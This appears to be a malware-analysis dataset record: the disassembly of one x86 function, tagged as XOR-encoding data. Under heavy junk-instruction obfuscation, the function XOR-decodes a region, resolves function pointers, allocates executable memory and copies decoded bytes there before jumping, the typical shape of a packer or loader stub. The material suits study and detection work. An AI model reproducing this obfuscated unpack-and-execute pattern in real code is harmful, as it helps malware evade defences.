Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xa4736a9e
and eax, ebx
mov ebx, 0x6d389073
popal
inc ebx
sub eax, 0x725a580a
not eax
mov ecx, 0
mov ebx, esi
mov eax, edi
and eax, eax
add eax, edi
mov edx, ebx
or edi, eax
mov eax, edi
mov esi, edx
add edi, edi
add edi, 1
mov edi, 0x904ace2f
add ecx, 1
or edi, eax
mov edi, 0x7e44afc3
cmp ecx, 0x1008b87
jne 0xa789c8
sub eax, 0x5b5d7158
sub eax, 0xacca37e4
sub eax, 0x67e70eff
dec eax
sub ebx, eax
not ebx
mov ecx, 0xa78796
inc edx
sub esi, eax
mov eax, 0xec58034
mov ebx, 0xa7898a
or eax, edx
add esi, edx
or eax, esi
mov edi, dword [ecx]
or eax, edx
or esi, eax
and edi, 0xff
inc edx
mov esi, eax
sub eax, edx
xor dword [ebx], edi
add eax, 0x336f1bcb
add edx, edx
add ebx, 1
mov edx, 0x5694cbe9
sub eax, edx
not edx
inc ecx
or edx, esi
add edx, 0x3204d2fb
sub eax, 0x31661d29
cmp ebx, entry0
jl 0xa78a2d
dec esi
add edx, edx
inc eax
sub esi, 0x9c788ca8
add eax, eax
add edx, 0x70f9440a
inc edx
mov ebx, 0xb830a687
mov ecx, 0xa7898e
sub esi, 0xe5f96b86
add edx, 0x1f484e74
mov ecx, dword [ecx]
sub ebx, 1
or esi, edi
and ebx, edx
mov ecx, dword [ecx]
mov ebx, 0xd5f0278b
mov edi, 0x12beda30
push ecx
dec edx
add edx, 0x608998fa
add esi, esi
mov ecx, 0xa7898a
not esi
sub edx, 1
mov ecx, dword [ecx]
add edx, esi
not edi
mov ecx, dword [ecx]
sub esi, 0xfc94a8f2
sub ebx, edx
add ebx, 0xad99481b
push 0xa78992
and ebx, esi
add edx, edi
and ebx, edx
call ecx
mov ebx, edi
inc edi
and esi, edx
mov ecx, dword [esp]
add esp, 4
inc esi
or ebx, edi
sub esp, 4
mov dword [esp], 0xa7899f
or edi, edx
and edi, esi
push eax
sub esi, edx
sub edx, 0x361168aa
call ecx
sub ebx, 0x4e94f2cc
inc edx
add ebx, 0x4d6be0de
push 0x40
not esi
sub edx, 0x3531a480
mov edi, ebx
sub esp, 4
mov dword [esp], 0x3000
not ebx
or esi, edi
push 0x2000099e
mov esi, edi
or edi, edi
push 0
sub edx, edi
sub ebx, edx
call eax
add esi, esi
sub ebx, 1
add eax, 0x20000907
sub esi, ebx
or esi, edi
mov ecx, 0x1956416b
inc esi
or esi, edi
sub esi, 0xc10eb43f
mov dword [eax], ecx
mov edi, ebx
mov esi, ebx
dec esi
mov ecx, dword [eax]
sub esi, edi
inc edi
and esi, edi
cmp ecx, 0x1956416b
je 0xa78b8f
mov ecx, 0
mov edx, dword [ecx]
not edx
sub edx, ebx
inc edx
sub ebx, 0xc5e1bff5
add edx, 0xf3af9cc3
dec edx
dec eax
dec eax
mov eax, ebx
mov ecx, section..rdata
add eax, ebx
mov eax, ebx
mov edx, 0xa78795
dec ebx
add eax, 0x38905bec
sub eax, 0x65afbf82
mov edi, 0
add ebx, 0x718e0e5c
mov ebx, 0xe187726b
mov esi, 0xa78796
not ebx
or eax, ebx
lea esi, [edi + esi]
or eax, eax
mov eax, 0x13739df1
mov eax, ebx
mov esi, dword [esi]
mov eax, 0xea23ff09
dec eax
mov eax, ebx
and esi, 0xff
add eax, 1
sub eax, 0xb714ae6
and eax, ebx
inc edi
add ebx, eax
mov eax, ebx
add eax, 0x21b077d0
cmp edi, 0x1f4
jne 0xa78c1b
mov edi, 0
or eax, eax
inc eax
not eax
mov eax, 0xa507c306
dec ebx
xor dword [ecx], esi
inc eax
add eax, 0x2821c1ce
add ecx, 2
add eax, ebx
add eax, ebx
not ebx
cmp ecx, edx
jl 0xa78bd0
sub ebx, 0xf2562b
dec ebx
add ebx, ebx
mov eax, 0x6c0b9ecf
mov eax, section..rdata
not edi
not edi
add edi, 0x8c01273a
mov ebx, section..rdata
add edi, edi
sub edi, 0xa8b35bbc
mov edi, edx
mov esi, 0xa78795
not edi
mov edi, 0x13a21782
mov ecx, 0
add edx, edi
mov edx, 0xf92101d7
mov cl, byte [ebx]
sub edx, edi
and edi, edi
sub edi, 0x5b972254
mov byte [eax], cl
add edx, 0x19e731d4
and edx, edx
sub edx, edi
inc eax
sub edx, 0xfbeef7f1
mov edi, edx
mov edx, 0xd9221a04
add ebx, 2
mov edi, 0xc542842f
and edx, edi
sub edx, edi
cmp ebx, esi
jle 0xa78c87
mov edx, 0xe9a22f38
add edx, 0xd23bc1b
mov edi, edx
sub eax, 0xac526572
or ebx, eax
add ebx, ebx
sub esp, 4
mov dword [esp], 0x8dc6a0
dec eax
not eax
ret